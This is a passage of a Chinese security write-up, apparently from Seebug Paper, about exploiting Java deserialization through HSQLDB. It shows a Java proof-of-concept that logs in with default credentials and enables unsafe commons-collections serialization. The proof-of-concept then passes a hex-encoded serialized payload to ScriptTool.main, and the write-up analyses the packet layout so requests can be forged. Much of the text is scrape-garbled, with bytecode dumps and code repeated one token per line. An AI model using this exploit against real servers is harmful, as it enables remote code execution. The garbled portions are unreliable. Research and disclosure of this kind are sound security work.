#2 = Fieldref #23.#24 // java/lang/System.out:Ljava/io/PrintStream;
#3 = String #25 // aaa
#4 = Methodref #26.#27 // java/io/PrintStream.println:(Ljava/lang/String;)V
#5 = String #19 // test
#6 = Class #28 // Test
#7 = Class #29 // java/lang/Object
#8 = Utf8 <init>
#9 = Utf8 ()V
#10 = Utf8 Code
#11 = Utf8 LineNumberTable
#12 = Utf8 LocalVariableTable
#13 = Utf8 this
#14 = Utf8 LTest;
#15 = Utf8 main
#16 = Utf8 ([Ljava/lang/String;)V
#17 = Utf8 args
#18 = Utf8 [Ljava/lang/String;
#19 = Utf8 test
#20 = Utf8 SourceFile
#21 = Utf8 Test.java
#22 = NameAndType #8:#9 // "<init>":()V
#23 = Class #30 // java/lang/System
#24 = NameAndType #31:#32 // out:Ljava/io/PrintStream;
#25 = Utf8 aaa
#26 = Class #33 // java/io/PrintStream
#27 = NameAndType #34:#35 // println:(Ljava/lang/String;)V
#28 = Utf8 Test
#29 = Utf8 java/lang/Object
#30 = Utf8 java/lang/System
#31 = Utf8 out
#32 = Utf8 Ljava/io/PrintStream;
#33 = Utf8 java/io/PrintStream
#34 = Utf8 println
#35 = Utf8 (Ljava/lang/String;)V
public Test();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
LineNumberTable:
line 1: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this LTest;
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=2, locals=1, args_size=1
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #3 // String aaa
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 3: 0
line 4: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 args [Ljava/lang/String;
public void test();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=2, locals=1, args_size=1
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #5 // String test
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 7: 0
line 8: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 this LTest;
SourceFile: "Test.java"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
Classfile
/
C
:
/
Users
/
dell
/
Desktop
/
Test
.
class
Last
modified
2020
-
7
-
13
;
size
586
bytes
MD5
checksum
eea80d1f399295a29f02f30a3764ff25
Compiled
from
"Test.java"
public
class
Test
minor
version
:
0
major
version
:
51
flags
:
ACC_PUBLIC
,
ACC_SUPER
Constant
pool
:
#1 = Methodref #7.#22 // java/lang/Object."<init>":()V
#2 = Fieldref #23.#24 // java/lang/System.out:Ljava/io/PrintStream;
#3 = String #25 // aaa
#4 = Methodref #26.#27 // java/io/PrintStream.println:(Ljava/lang/String;)V
#5 = String #19 // test
#6 = Class #28 // Test
#7 = Class #29 // java/lang/Object
#8 = Utf8 <init>
#9 = Utf8 ()V
#10 = Utf8 Code
#11 = Utf8 LineNumberTable
#12 = Utf8 LocalVariableTable
#13 = Utf8 this
#14 = Utf8 LTest;
#15 = Utf8 main
#16 = Utf8 ([Ljava/lang/String;)V
#17 = Utf8 args
#18 = Utf8 [Ljava/lang/String;
#19 = Utf8 test
#20 = Utf8 SourceFile
#21 = Utf8 Test.java
#22 = NameAndType #8:#9 // "<init>":()V
#23 = Class #30 // java/lang/System
#24 = NameAndType #31:#32 // out:Ljava/io/PrintStream;
#25 = Utf8 aaa
#26 = Class #33 // java/io/PrintStream
#27 = NameAndType #34:#35 // println:(Ljava/lang/String;)V
#28 = Utf8 Test
#29 = Utf8 java/lang/Object
#30 = Utf8 java/lang/System
#31 = Utf8 out
#32 = Utf8 Ljava/io/PrintStream;
#33 = Utf8 java/io/PrintStream
#34 = Utf8 println
#35 = Utf8 (Ljava/lang/String;)V
{
public
Test
(
)
;
descriptor
:
(
)
V
flags
:
ACC_PUBLIC
Code
:
stack
=
1
,
locals
=
1
,
args_size
=
1
0
:
aload
_
0
1
:
invokespecial
#1 // Method java/lang/Object."<init>":()V
4
:
return
LineNumberTable
:
line
1
:
0
LocalVariableTable
:
Start
Length
Slot
Name
Signature
0
5
0
this
LTest
;
public
static
void
main
(
java
.
lang
.
String
[
]
)
;
descriptor
:
(
[
Ljava
/
lang
/
String
;
)
V
flags
:
ACC_PUBLIC
,
ACC_STATIC
Code
:
stack
=
2
,
locals
=
1
,
args_size
=
1
0
:
getstatic
#2 // Field java/lang/System.out:Ljava/io/PrintStream;
3
:
ldc
#3 // String aaa
5
:
invokevirtual
#4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8
:
return
LineNumberTable
:
line
3
:
0
line
4
:
8
LocalVariableTable
:
Start
Length
Slot
Name
Signature
0
9
0
args
[
Ljava
/
lang
/
String
;
public
void
test
(
)
;
descriptor
:
(
)
V
flags
:
ACC_PUBLIC
Code
:
stack
=
2
,
locals
=
1
,
args_size
=
1
0
:
getstatic
#2 // Field java/lang/System.out:Ljava/io/PrintStream;
3
:
ldc
#5 // String test
5
:
invokevirtual
#4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8
:
return
LineNumberTable
:
line
7
:
0
line
8
:
8
LocalVariableTable
:
Start
Length
Slot
Name
Signature
0
9
0
this
LTest
;
}
SourceFile
:
"Test.java"
public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));
System.out.println(payload);
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public
static
void
testLocal
(
)
throws
IOException
,
ClassNotFoundException
,
SQLException
{
String
url
=
"http://localhost:8080"
;
String
payload
=
Hex
.
encodeHexString
(
Files
.
readAllBytes
(
Paths
.
get
(
"calc.ser"
)
)
)
;
System
.
out
.
println
(
payload
)
;
String
dburl
=
"jdbc:hsqldb:"
+
url
+
"/hsqldb_war_exploded/hsqldb/"
;
Class
.
forName
(
"org.hsqldb.jdbcDriver"
)
;
Connection
connection
=
DriverManager
.
getConnection
(
dburl
,
"sa"
,
""
)
;
Statement
statement
=
connection
.
createStatement
(
)
;
statement
.
execute
(
"call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')"
)
;
statement
.
execute
(
"call \"org.hsqldb.util.ScriptTool.main\"('"
+
payload
+
"');"
)
;
}
-
1~4:总长度00000014,共20字节
-
5~8:mode,connection为ResultConstants.UPDATECOUNT,为1,00000001
-
9~12:databaseID,如果直接像上面这样默认配置,databaseID在服务端不会赋值,由jdk初始化为0,00000000
-
13~16:sessionID,这个值是DatabaseManager.newSession分配的值,每次连接都是一个新的值,本次为00000003
-
17~20:connection时,为updateCount,注释上面写的 max rows (out) or update count (in),如果像上面这样默认配置,updateCount在服务端不会赋值,由jdk初始化为0,00000000
连接信息分析完了,接下来的包肯定会利用到第一次返回包的信息,把他附加到后面发送包中,这里只分析下第二个发送包,第三个包和第二个是一样的,都是执行语句的包:
-
1~4:总长度00000082,这里为130
-
5~8:mode,这里为ResultConstants.SQLEXECDIRECT,0001000b
-
9~12:databaseID,为上面的00000000
-
13~16:sessionID,为上面的00000003
-
17~20:updateCount,为上面的00000000
-
21~25:statementID,这是客户端发送的,其实无关紧要,本次为00000000
-
26~30:执行语句的长度
-
31~:后面都是执行语句了
可以看到上面这个处理过程很简单,通过这个分析,很容易用requests发包了。对于https来说,只要设置verify=False就行了。
反序列化触发位置
这里反序列化触发位置在:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:
https://paper.seebug.org/1271/